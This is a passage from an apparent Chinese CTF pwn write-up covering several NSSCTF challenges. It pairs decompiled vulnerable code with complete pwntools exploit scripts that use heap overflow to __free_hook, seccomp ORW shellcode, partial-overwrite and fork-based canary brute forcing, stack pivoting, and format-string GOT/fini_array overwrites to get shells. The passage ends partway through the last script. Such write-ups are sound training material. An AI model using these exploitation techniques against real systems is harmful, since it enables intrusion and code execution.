free(*(void **)(heaplist[v1] + 16LL));//首先释放掉content
free((void *)heaplist[v1]);//然后释放掉他自己
sizelist[v1] = 0LL;//设置sizelist为空
*(_DWORD *)(heaplist[v1] + 24LL) = 0;//设置使用位为0
*(_QWORD *)(heaplist[v1] + 16LL) = 0LL;//设置指向的content chunk为0
result = heaplist;//设置heaplist的id为空
heaplist[v1] = 0LL;
}
else
{
puts("Error idx!");
return 0LL;
}
return result;
}

查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
__int64 show()
{
int v1; // [rsp+Ch] [rbp-4h]

puts("Input your idx:");
v1 = getnum();//获取id
if ( (unsigned int)v1 < 0x10 && heaplist[v1] )//不能大于16和不能为空
{
(*(void (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(heaplist[v1]);//puts(name)
return (*(__int64 (__fastcall **)(_QWORD))(heaplist[v1] + 32LL))(*(_QWORD *)(heaplist[v1] + 16LL));//puts(content)
}
else
{
puts("Error idx!");
return 0LL;
}
}

修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ssize_t edit()
{
unsigned int v1; // [rsp+8h] [rbp-8h]
unsigned int nbytes; // [rsp+Ch] [rbp-4h]

puts("Input your idx:");
v1 = getnum();//获取id
puts("Size:");
nbytes = getnum();//获取size
if ( v1 <= 0x10 && heaplist[v1] && nbytes <= 0x100 )
return read(0, *(void **)(heaplist[v1] + 16LL), nbytes);//往chunk里面写入小于0x100字节的数据
puts("Error idx!");
return 0LL;
}

所以肯定存在堆溢出

puts遇到\x00​截断,我们知道

image

我们用edit溢出获取puts,将name指向puts的地址,然后修改free_hook为system,然后内容为/bin/sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
libc = ELF('./libc-2.23.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

def add(idx,size,name,content):
sla("Choice: ","1")
sla("Input your idx:",str(idx))
sla("Size:",str(size))
sla("Name: ",name)
sla("Content:",content)
def edit(idx,size,content):
sla("Choice: ","4")
sla("Input your idx:",str(idx))
sla("Size:",str(size))
s(content)
def show(idx):
sla("Choice: ","3")
sla("Input your idx:",str(idx))
def free(idx):
sla("Choice: ","2")
sla("Input your idx:",str(idx))

add(0,0x10,"N1ght","TestAAA")
add(1,0x10,"AAA","BBB")
edit(0,0x31,b"A"*0x18 + p64(0x31) + b"\x00"*0x10 + b'\x80')
show(1)
puts_addr = get_addr()
success("puts_addr: {:#x}".format(puts_addr))
# rl("AAAAAAAAAAAAAAAA")
# second_heap = u64(p.recvuntil("\n",drop=True).ljust(8,b'\x00'))
# success("second_heap: {:#x}".format(second_heap))
# edit(1,0x50,b"A"*0x18 + p64(0x31) + b"A"*0x28)
# show(2)
libc_base = puts_addr - libc.sym['puts']
free_hook = libc_base + libc.symbols["__free_hook"]
system = libc_base + libc.symbols["system"]
# debug()
edit(0,0x40,0x18*b'a'+p64(0x31)+b'a'*0x10+p64(free_hook))
edit(0,0x40,'/bin/sh\x00')
edit(1,0x40,p64(system))
free(0)
inter()

[GDOUCTF 2023]Random

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
int __fastcall main(int argc, const char **argv, const char **envp)
{
FILE *v3; // rdi
__int64 v4; // rdx
__int64 v5; // rcx
__int64 v6; // r8
__int64 v7; // r9
unsigned int v8; // eax
int v10; // [rsp+0h] [rbp-10h] BYREF
int v11; // [rsp+4h] [rbp-Ch]
int v12; // [rsp+8h] [rbp-8h]
int i; // [rsp+Ch] [rbp-4h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
v3 = stderr;
setbuf(stderr, 0LL);
v12 = 100;
sandbox((__int64)v3, 0LL, v4, v5, v6, v7);
v8 = time(0LL);
srand(v8);
for ( i = 0; i < v12; ++i )
{
v11 = rand() % 50;
puts("please input a guess num:");
if ( (unsigned int)__isoc99_scanf("%d", &v10) == -1 )
exit(0);
if ( getchar() != '\n' )
exit(1);
if ( v11 == v10 )
{
puts("good guys");
vulnerable();
}
else
{
puts("no,no,no");
}
}
return 0;
}
ssize_t vulnerable()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("your door");
return read(0, buf, 0x40uLL);
}
int __fastcall sandbox(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)
{
__int64 v7; // [rsp+0h] [rbp-40h] BYREF
__int16 v8; // [rsp+10h] [rbp-30h] BYREF
char v9; // [rsp+12h] [rbp-2Eh]
char v10; // [rsp+13h] [rbp-2Dh]
int v11; // [rsp+14h] [rbp-2Ch]
__int16 v12; // [rsp+18h] [rbp-28h]
char v13; // [rsp+1Ah] [rbp-26h]
char v14; // [rsp+1Bh] [rbp-25h]
int v15; // [rsp+1Ch] [rbp-24h]
__int16 v16; // [rsp+20h] [rbp-20h]
char v17; // [rsp+22h] [rbp-1Eh]
char v18; // [rsp+23h] [rbp-1Dh]
int v19; // [rsp+24h] [rbp-1Ch]
__int16 v20; // [rsp+28h] [rbp-18h]
char v21; // [rsp+2Ah] [rbp-16h]
char v22; // [rsp+2Bh] [rbp-15h]
int v23; // [rsp+2Ch] [rbp-14h]
__int16 v24; // [rsp+30h] [rbp-10h]
char v25; // [rsp+32h] [rbp-Eh]
char v26; // [rsp+33h] [rbp-Dh]
int v27; // [rsp+34h] [rbp-Ch]
__int16 v28; // [rsp+38h] [rbp-8h]
char v29; // [rsp+3Ah] [rbp-6h]
char v30; // [rsp+3Bh] [rbp-5h]
int v31; // [rsp+3Ch] [rbp-4h]

v8 = 32;
v9 = 0;
v10 = 0;
v11 = 4;
v12 = 21;
v13 = 0;
v14 = 2;
v15 = -1073741762;
v16 = 32;
v17 = 0;
v18 = 0;
v19 = 0;
v20 = 21;
v21 = 0;
v22 = 1;
v23 = 59;
v24 = 6;
v25 = 0;
v26 = 0;
v27 = 0;
v28 = 6;
v29 = 0;
v30 = 0;
v31 = 2147418112;
LOWORD(v7) = 6;
prctl(38, 1LL, 0LL, 0LL, 0LL, a6, v7, &v8);
return prctl(22, 2LL, &v7);
}

发现有sandbox使用seccomp-tools查看

image

image

栈可执行

由于可控空间太小,栈可执行,修改rax和rdi为0,然后修改rdx为0x100,然后rsi添加0x100调用syscall。

由于read的时候rsi为栈中buf的值,所以我们call rsi即可返回buf里,然后执行xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;​读取一段汇编到rsi里面,然后调用rsi里的代码

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 20846
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))
v3 = clibc.time(0)
v4 = clibc.srand(v3)
v5 = clibc.rand() % 50

print(v5)
sl(str(v5))
offset = 0x20 + 8
shellcode = asm('xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;')
orw_shellcode = asm(shellcraft.open('flag') + shellcraft.read('rax', elf.bss() + 0x100, 0x30) + shellcraft.write(1, elf.bss() + 0x100, 0x30))
call_rsi = 0x0000000000400c23
# debug()
sa(b'door\n', shellcode.ljust(0x28, b'\x00') + p64(call_rsi))
s(orw_shellcode)
inter()

应该好好学习orw的,这个地方就有点懵了

11.13

[UUCTF 2022 新生赛]easystack

开启了PIE和NX

1
2
3
4
5
6
7
8
$ checksec pwn
[*] '/home/pwn/pwn/nssctf/11.13/UUCTF_2022_新生赛_easystack/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
1
2
3
4
5
6
7
8
9
int vuln()
{
char buf[256]; // [rsp+0h] [rbp-100h] BYREF

puts("I am back! Can you beat me this time?\n");
puts("What's your name?");
read(0, buf, 0x10AuLL);
return printf("Hello, %s\n", buf);
}

发现就溢出了10字节,可以覆盖掉ebp和ret的后两个字节

栈上的 partial overwrite

后门的后两个字节为0000000000001185

所以可以爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
def pwn():
offset = 0x100 + 8
payload = cyclic(offset) + b'\x85\x11'
sl(payload)
r()
sl("id")
if b"uid" in r():
inter()
else:
p.close()
while True:
try:
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "xxx"
port = 1111
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
pwn()
except:
p.close()

image

爆破成功

[HDCTF 2023]Makewish

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python3 exp.py     
[+] Starting local process './pwn': pid 19701
[*] pid: 19701
[*] '/home/pwn/pwn/nssctf/11.13/HDCTF_2023_Makewish/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
[*] Loading gadgets for '/home/pwn/pwn/nssctf/11.13/HDCTF_2023_Makewish/pwn'
[*] ret addr : 0x4005d9
[*] rdi addr : 0x400993
[*] Stopped process './pwn' (pid 19701)

发现开启了NX和Canary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-38h] BYREF
int v5; // [rsp+Ch] [rbp-34h]
char buf[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v7; // [rsp+38h] [rbp-8h]

v7 = __readfsqword(0x28u);
init(argc, argv, envp);
v5 = rand() % 1000 + 324;
puts("tell me you name\n");
read(0, buf, 0x30uLL);//可以泄露canary
puts("hello,");
puts(buf);
puts("tell me key\n");
read(0, &v4, 4uLL);
if ( v5 == v4 )
return vuln();
puts("failed");
return 0;
}
__int64 vuln()
{
_BYTE buf[88]; // [rsp+0h] [rbp-60h] BYREF
unsigned __int64 v2; // [rsp+58h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("welcome to HDctf,You can make a wish to me");
buf[(int)read(0, buf, 0x60uLL)] = 0;//off_by_null
puts("sorry,i can't do that");
return 0LL;
}

具体为什么能够栈迁移呢

1
2
3
4
5
6
7
8
9
.text:00000000004008E5                 mov     eax, 0
.text:00000000004008EA call _read
.text:00000000004008EF mov eax, [rbp+var_38]
.text:00000000004008F2 cmp [rbp+var_34], eax
.text:00000000004008F5 jnz short loc_400905
.text:00000000004008F7 mov eax, 0
.text:00000000004008FC call vuln
.text:0000000000400901 leave
.text:0000000000400902 retn

一开始我不理解的,但是看汇编就理解了调用了vuln函数结束leave;ret篡改了ebp导致ebp的值为fake_ebp,然而esp正常执行完vuln后再次执行leave;ret;就修改了esp为ebp也就指向了fake_ebp,然后ret就是add esp+4;mov eip,[esp-4]​我们只能返回到00也就是得多写ret来保证成功率,这样返回00能滑到后门函数中

image

可以覆盖至canary

发现key是0x2c3

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')

def pwn():
sl("A"*0x28)
rl(b"A"*0x28 + b'\x0a')
canary = u64(p.recv(7).rjust(8,b'\x00'))
success("canary: {:#x}".format(canary))
s(p32(0x2c3))
s(p64(ret)*10 + p64(0x0000000004007C7) + p64(canary) )
# debug()
r()
# sl("id")
pr()
inter()
# if b"uid" in r():
# inter()
# else:
# p.close()
while True:
try:
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28036
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
pwn()

except:
p.close()

[CISCN 2023 初赛]funcanary

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# pwn @ DESKTOP-D3OTKCS in ~/pwn/nssctf/11.13/CISCN_2023_初赛_funcanary [10:46:01] C:1
$ python3 exp.py
[+] Starting local process './pwn': pid 35742
[*] pid: 35742
[*] '/home/pwn/pwn/nssctf/11.13/CISCN_2023_初赛_funcanary/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: Enabled
[*] Loaded 5 cached gadgets for './pwn'
[*] ret addr : 0x101a
[*] Stopped process './pwn' (pid 35742)

保护全开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__pid_t v3; // [rsp+Ch] [rbp-4h]

sub_1243(a1, a2, a3);
while ( 1 )
{
v3 = fork();
if ( v3 < 0 )
break;
if ( v3 )
{
wait(0LL);
}
else
{
puts("welcome");
sub_128A();
puts("have fun");
}
}
puts("fork error");
exit(0);
}
unsigned __int64 sub_128A()
{
_BYTE buf[104]; // [rsp+0h] [rbp-70h] BYREF
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
read(0, buf, 0x80uLL);
return v2 - __readfsqword(0x28u);
}

有溢出有canary有pie,存在fork函数,我了个爆破啊

对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。那我们就可以逐位爆破,如果程序GG了就说明这一位不对,如果程序正常就可以接着跑下一位,直到跑出正确的canary。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 26690
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))
canary = b'\x00'
sa('welcome\n',b'a'*0x68 + canary + p8(1))
for i in range(7):
for j in range(256):
sa('welcome\n', b'a'*0x68 + canary + p8(j))
if p.recv(2) == b'ha':
canary += p8(j)
break
catflag = 0x0231
while(1):
for i in range(16):
payload = b'A' * 0x68 + canary + b'A' * 8 + p16(catflag)
p.send(payload)
#pause()
a = p.recvuntil("welcome\n",timeout=1)
print(a)
if b"welcome" in a:
catflag += 0x1000
continue
if b"NSSCTF" in a:
print(a)
break
p.interactive()

外部连接很慢,爆破了十几分钟

[SWPUCTF 2023 秋季新生赛]签到

1
2
3
4
5
6
7
ssize_t vuln()
{
_BYTE buf[48]; // [rsp+0h] [rbp-30h] BYREF

printf("input:");
return read(0, buf, 0xC8uLL);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node4.anna.nssctf.cn"
port = 28770
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
info("rdi addr : {:#x}".format(rdi))

offset = 0x30 + 8

payload = flat([cyclic(offset),0x0000000000401237])
sl(payload)
inter()

[CISCN 2019西南]PWN1

劫持fini_array

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char format[68]; // [esp+0h] [ebp-48h] BYREF

setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
puts("Welcome to my ctf! What's your name?");
__isoc99_scanf("%64s", format);
printf("Hello ");
printf(format);
return 0;
}
  • n1 = systemplt & 0xFFFF​:首先,提取 system​ 的低 16 位,即 systemplt​ 的低 16 位。
  • n2 = (systemplt >> 16) & 0xFFFF​:接下来,提取 system​ 的高 16 位。
  • n3 = main & 0xFFFF​:计算程序 main​ 地址的低 16 位(可能作为跳转的目标)。

w_offset = 0xe​:w_offset​ 是栈上 %n​ 格式化参数的索引,意味着我们会操作第 14 个参数。

  • pay = f'%{n1}c%{w_offset}$hn'​:这将使得 printf​ 输出 n1​ 个字符,并使用 %n​ 将已输出的字符数写入 w_offset​ 指向的地址。即,修改 system​ 地址的低 16 位。

  • pay += f'%{0x10000 + n2 - n1}c%{w_offset+1}$hn'​:这个格式化字符串先输出差值(n2 - n1​),然后通过 %n​ 写入 system​ 地址的高 16 位。

  • pay += f'%{0x10000 + n3 - n2}c%{w_offset+2}$hn'​:最后,修改 main​ 地址的低 16 位,以进一步控制程序流。

  • pay = pay.encode()​:将格式化字符串转换为字节。

  • pay += (4 - (len(pay) % 4)) * b'A'​:为了保证数据对齐(4 字节对齐),攻击者可能需要在格式化字符串后填充 A​ 字符。

  • pay += p32(printgot)​:写入的第一个地址,即 printgot​(printf​ GOT 的位置)。

  • pay += p32(printgot+2)​:写入的第二个地址,printgot+2​,因为 GOT 是 4 字节对齐的,所以第 2 个 n​ 写入的是该地址的第二部分。

  • pay += p32(gol)​:最终控制流的劫持fini_array目标地址 gol​,它会触发执行 main​。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='i386')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 25632
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
# rdi = rop.find_gadget(['pop rdi','ret'])[0]
info("ret addr : {:#x}".format(ret))
# info("rdi addr : {:#x}".format(rdi))
printgot = 0x804989c
systemplt = 0x80483D0
gol = 0x804979C
main = 0x08048534

n1 = systemplt & 0xFFFF
n2 = (systemplt>>16) & 0xFFFF
n3 = main & 0xFFFF

w_offset = 0xe
pay = f'%{n1}c%{w_offset}$hn'
pay += f'%{0x10000 + n2 - n1}c%{w_offset+1}$hn'
pay += f'%{0x10000 + n3 - n2}c%{w_offset+2}$hn'
pay = pay.encode()
pay += (4 - (len(pay) % 4)) * b'A'
pay += p32(printgot)
pay += p32(printgot+2)
pay += p32(gol)

sl(pay)
sl('/bin/sh')
inter()

[HGAME 2023 week1]simple_shellcode

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
mmap((void *)0xCAFE0000LL, 0x1000uLL, 7, 33, -1, 0LL);
puts("Please input your shellcode:");
read(0, (void *)0xCAFE0000LL, 0x10uLL);
sandbox();
MEMORY[0xCAFE0000]();
return 0;
}

嘶,这可以写入0x10的字节

然后会调用,大小不够

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:000000000000137F ; 5:   puts("Please input your shellcode:");
.text:000000000000137F lea rdi, s ; "Please input your shellcode:"
.text:0000000000001386 call _puts
.text:000000000000138B mov rax, [rbp+buf]
.text:000000000000138F mov edx, 10h ; nbytes
.text:0000000000001394 mov rsi, rax ; buf
.text:0000000000001397 mov edi, 0 ; fd
.text:000000000000139C mov eax, 0
.text:00000000000013A1 call _read
.text:00000000000013A6 ; 7: sandbox();
.text:00000000000013A6 mov eax, 0
.text:00000000000013AB call sandbox
.text:00000000000013B0 ; 8: MEMORY[0xCAFE0000]();
.text:00000000000013B0 mov rdx, [rbp+buf]
.text:00000000000013B4 mov eax, 0
.text:00000000000013B9 call rdx

在调用到buf的代码时候,rdx为buf的地址,所以我们可以设置rdi为0,rsi为rdx+0x10的地址,使用syscall调用,然后再次调用call rsi;也就是再次输入的shellcode,这时候read的大小就是rsi的地址值足够容纳shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from struct import pack
from ctypes import *
from pwn import *
def s(a) : p.send(a)
def sa(a, b) : p.sendafter(a, b)
def sl(a) : p.sendline(a)
def sla(a, b) : p.sendlineafter(a, b)
def r() : return p.recv()
def pr() : print(p.recv())
def rl(a) : return p.recvuntil(a)
def inter() : p.interactive()
def debug():
gdb.attach(p)
pause()
def get_addr() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
# def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
def csu(rdi, rsi, rdx, rip, gadget) : return p64(gadget) + p64(0) + p64(1) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - 0x1a)
def get_32_addr(): return u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
context(os='linux', arch='amd64')
if args['DEBUG']:
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw','-h']
if args['REMOTE']:
ip = "node5.anna.nssctf.cn"
port = 28942
p = remote(ip, port)
else:
p = process('./pwn')
info("pid: {}".format(p.pid))
elf = ELF("./pwn")
#libc = ELF('./libc-2.23-x64.so')
# clibc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
rop = ROP("./pwn")
ret = rop.find_gadget(['ret'])[0]
rdi = rop.find_gadget(['pop rdi','ret'])[0]
